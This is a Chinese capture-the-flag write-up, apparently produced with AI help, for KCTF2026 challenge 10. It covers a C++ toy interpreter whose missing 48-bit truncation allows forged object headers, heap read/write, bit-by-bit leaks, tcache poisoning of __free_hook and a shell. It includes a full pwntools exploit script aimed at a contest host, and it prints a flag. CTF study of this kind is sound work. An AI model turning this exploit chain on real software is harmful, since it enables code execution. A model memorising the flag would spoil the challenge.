-
-
[原创]KCTF2026 -第十题:卯时·曦光初现 题解(AI)
-
发表于: 3天前 118
-
一个 C++ 写的 NaN-boxing 玩具解释器(glibc 2.27,PIE / Full RELRO / NX / Canary)。
唯一漏洞:BinOp 的运算结果不做 48 位截断,可以在 env 槽里造出任意 64 位值(尤其0x1337 对象句柄 tag 与 0xBEEF 对象头值)。据此伪造一个超长对象头拿到前向任意堆读写,
泄露 key/arena/libc,再做 tcache 0x20 fd 投毒把 __free_hook 改成 system,最后用一条
精心控制大小的输入行触发 system("/bin/sh") 拿 shell 读旗。
题目没有任何打印数值的功能,全部泄露都靠一个 1-bit oracle(某条命令成功/runtime error!/invalid syntax!)逐位读出。
BinOp_eval 是唯一不给结果做 48 位 mask 的路径,因此可以拼出任意高 16 位:
其余路径(数字 48 位 mask、头/叶 key XOR、各级严格边界检查)都很紧,堵死了其它入口。

图 1 — 漏洞本体(BinOp_eval @ 0x30DE)。 除了两个操作数下标的 <= 0xFF
校验和「操作数当前不能已是 0x1337 句柄」外,8 个运算分支(case 0..7)都把结果v7 op v5 原样写回 *v6,全程没有 & 0xFFFFFFFFFFFF 的 48 位截断 —— 而其它每一条
求值路径都做了截断。于是可以在 env 槽里凑出任意高 16 位,造出 0x1337<<48 假句柄与0xBEEF<<48 假对象头。
建一个真对象 $0=[0,0],用 BinOp 造出 hdr = 0xBEEF<<48 | 0x6000,SetField 把它写进$0 的第 0 个叶子。这样 $0[0] 就被当成一个长度 0x6000 的嵌套对象,$0[0][k] 即可读写 arena + 16 + 8*k(k < 0x6000,覆盖 arena+16 .. arena+0x30010)。

图 2 — 伪造头为什么能拿到前向 OOB(GetField_eval @ 0x36E6)。 解引用一个
「对象」时:① 值高 16 位 == 0x1337 才当句柄;② 取低 48 位直接当 arena 内堆指针,
不再做范围校验;③ 用全局 key(qword_206AB0)异或堆头解密;④ 解出的头高 16 位必须
== 0xBEEF;⑤ 下标只跟头里自带的 nchildren 比。既然 ②/⑤ 完全信任「头」里的内容,
而头又是我们用漏洞伪造的 0xBEEF<<48 | 0x6000,$0[0][k] 就成了以 arena 为基址、
长度 0x6000 的前向任意读写原语。
所有 48/64 位数值都用 纯 BinOp 位 oracle 逐位读出((v>>i)&1 造成 0x1337 tag,
再让一条 BinOp 因右操作数是句柄而 runtime error → 该位为 1)。这条路径不分配 0x20 堆块,
几乎不搅动 tcache。

图 3 — 泄露靠的 1-bit oracle,与触发行大小的来源(main @ 0x2D09)。 题目没有任何
打印数值的功能:每条命令要么静默成功(只回显下一个 > ),要么 runtime error!
(eval 返回 0),要么 invalid syntax!(parse 返回 0)。这三态就是逐位读 key/arena/libc
用的 1-bit oracle。图中 std::string::_M_construct 那行也标出来了 —— 输入行本身会构造成
一个 std::string,它的长度决定 malloc 出 0x20 还是 0x30 的堆块,正是后文「触发行必须
是 0x30 分配」这个坑的根源。
RCE 走 __free_hook(Full RELRO 打不了 GOT)。因为前向 OOB 只到堆、够不着 libc,
所以用 tcache 投毒让一次 malloc 直接落在 __free_hook:
两个决定性坑(这题最难的地方,纯静态想不到,必须动态验证):
15 位下标 = 2-pop,不是 3-pop。
libc 地址十进制恒为 15 位(≤ 0x7fffffffffff),15 字符正好落在 libstdc++ 的
SSO(short string optimization)边界内,不为下标数字分配临时 string。所以单索引攻击
在 0x20 bin 上只有 2 次 pop(pop1=输入行、pop2=index-vector),而不是"下标临时 string
也占一次"的 3-pop。用 ≥16 位的占位大数调试会落进 3-pop 分支,投毒目标算错 —— 这是之前
多次盲打全 miss 的第一个根因。
触发行必须是 0x30 分配,不能是 0x20。
攻击把 A4 = __free_hook 写成 system 后,A4 在命令收尾被 free 回 tcache,
于是 __free_hook 正好位于 0x20 bin 的链头。若触发行是 16 字符(0x20 分配),
它的输入 std::string 会 malloc 一个 0x20 chunk,正好把 __free_hook pop 出来当缓冲,
用 "/bin/sh" 字节覆盖掉刚写进去的 system → free 时跳到 /bin/sh 这个地址 → 崩溃。
改用 24–39 字符的 0x30 分配行(本 exp 用 /bin/sh # + 22×A = 31 字符),
它的 malloc 不碰 0x20 链头,__free_hook 保持 system,free 时 system("/bin/sh #...")
(# 后是注释)→ 交互 shell。
远程是极简 chroot(无 cat/id/head/grep,只有 ls 和 /bin/sh),
用 dash 内置 read a < flag; echo "$a" 把 ./flag 读出。
运行:
flag 每个靶机实例轮换(另一实例为 flag{7d6b4646-578b-43ce-8cbc-2af922298d4e});
$1=0x1337; $2=0x1000000; $1=$1*$2; $1=$1*$2 -> env[1] = 0x1337<<48 (伪句柄)
$k = 0xBEEF<<48 | len -> 伪造的"对象头"值
#!/usr/bin/env python3
# 10-pwn — leak -> forward OOB heap R/W -> tcache 0x20 fd poison -> __free_hook=system -> shell.
from pwn import *
import sys, time
HOST='123.57.66.184'; PORT=int(sys.argv[1]) if len(sys.argv)>1 else 10004
context.clear(arch='amd64', log_level='warn')
IO_STDERR=0x3ec680; FREE_HOOK=0x3ed8e8; SYSTEM=0x4f420; K_SELF=8193; K_LIBC=8205; M48=(1<<48)-1
OBJ=0; KEY=200; POW48=240; S1=239; S2=238; ONE=237; TWO=236; BEEFHI=235; P2=234; TT=233; C1337=232; ZNUM=231
FAKELEN=0x6000; POISON_OFF=0x102d0 # k=(0x102d0-16)/8=8280
class IO:
def __init__(self):
self.r=remote(HOST,PORT,timeout=15); self.r.recvuntil(b'> '); self.q=[]; self.marks=[]
def push(self,line,mark=False):
if isinstance(line,str): line=line.encode()
if mark: self.marks.append(len(self.q))
self.q.append(line)
def flush(self):
if not self.q: return []
n=len(self.q); self.r.send(b'\n'.join(self.q)+b'\n'); buf=b''
while buf.count(b'> ')<n:
c=self.r.recv(timeout=15)
if not c: break
buf+=c
segs=buf.split(b'> '); st=[]
for i in range(n):
seg=segs[i] if i<len(segs) else b''
st.append('err' if b'runtime error' in seg else 'inv' if b'invalid syntax' in seg else 'ok')
res=[st[i] for i in self.marks]; self.q=[]; self.marks=[]; return res
def setup_consts(io):
io.push('$%d=16777216'%POW48); io.push('$%d=16777216'%S1); io.push('$%d*$%d'%(POW48,S1))
io.push('$%d=1'%ONE); io.push('$%d=2'%TWO); io.push('$%d=48879'%BEEFHI); io.push('$%d*$%d'%(BEEFHI,POW48))
io.push('$%d=4919'%C1337); io.push('$%d=1'%ZNUM)
def setnum(io,slot,value):
value&=(1<<64)-1; low=value&M48; high=(value>>48)&0xffff; io.push('$%d=%d'%(slot,low))
if high: io.push('$%d=%d'%(S2,high)); io.push('$%d*$%d'%(S2,POW48)); io.push('$%d|$%d'%(slot,S2))
def mk_fake_header(io,length=FAKELEN):
io.push('$%d=[0,0]'%OBJ); setnum(io,10,(0xBEEF<<48)|length); io.push('$%d[0]=$10'%OBJ,mark=True)
def addr2k(arena,addr): assert (addr-arena-16)%8==0; return (addr-arena-16)//8
def oob_read(io,k,dst): io.push('$%d=$%d[0][%d]'%(dst,OBJ,k),mark=True)
def oob_write(io,k,src): io.push('$%d[0][%d]=$%d'%(OBJ,k,src),mark=True)
def _bit(io,slot,i):
io.push('$%d=$%d'%(TT,slot)); io.push('$%d/$%d'%(TT,P2)); io.push('$%d&$%d'%(TT,ONE))
io.push('$%d*$%d'%(TT,C1337)); io.push('$%d*$%d'%(TT,POW48)); io.push('$%d+$%d'%(ZNUM,TT),mark=True); io.push('$%d*$%d'%(P2,TWO))
def leak(io,slots,nbits=64):
for s in slots:
io.push('$%d=1'%P2)
for i in range(nbits): _bit(io,s,i)
st=io.flush(); out=[]
for j in range(len(slots)):
v=0
for i in range(nbits):
if st[j*nbits+i]=='err': v|=(1<<i)
out.append(v)
return out
class Ctx:
def __init__(self):
self.io=IO(); setup_consts(self.io); mk_fake_header(self.io,FAKELEN)
oob_read(self.io,1,KEY); oob_read(self.io,K_SELF,50); oob_read(self.io,K_LIBC,51); self.io.flush()
self.key=leak(self.io,[KEY])[0]
sp=leak(self.io,[50],48)[0]; lp=leak(self.io,[51],48)[0]
self.arena=((sp^self.key)&M48)-0x10000; self.libc=((lp^self.key)&M48)-IO_STDERR
self.ok=(self.libc&0xfff)==0 and (self.arena&0xfff)==0x010
def A(self,off): return self.arena+off
def L(self,off): return self.libc+off
def write1(self,addr,R):
setnum(self.io,70,(self.key^R)&((1<<64)-1)); oob_write(self.io,addr2k(self.arena,addr),70); self.io.flush()
def exploit():
for _ in range(3):
c=Ctx()
if c.ok: break
c.io.r.close()
else: log.failure('no clean leak'); return
system=c.L(SYSTEM); fh=c.L(FREE_HOOK)
print('[*] arena=%#x libc=%#x system=%d(%d digits)'%(c.arena,c.libc,system,len(str(system))))
c.write1(c.A(POISON_OFF), fh) # 1) poison fd = __free_hook
c.io.r.send(('$4=$0[%d]'%system).encode()+b'\n'); time.sleep(0.2) # 2) *__free_hook = system
c.io.r.send(b'/bin/sh #'+b'A'*22+b'\n'); time.sleep(0.3) # 3) 0x30 trigger -> system("/bin/sh")
c.io.r.send(b'echo PWNED_$((6*7))\n'); time.sleep(0.3)
if b'PWNED_42' not in c.io.r.recv(timeout=3): log.failure('no shell'); return
print('[+] shell')
c.io.r.send(b'read a < flag; echo "FLAG=$a"\n'); time.sleep(0.6)
for line in c.io.r.recv(timeout=4).decode('latin1','replace').splitlines():
if 'flag{' in line: print('[+] '+line.strip())
c.io.r.interactive()
if __name__=='__main__': exploit()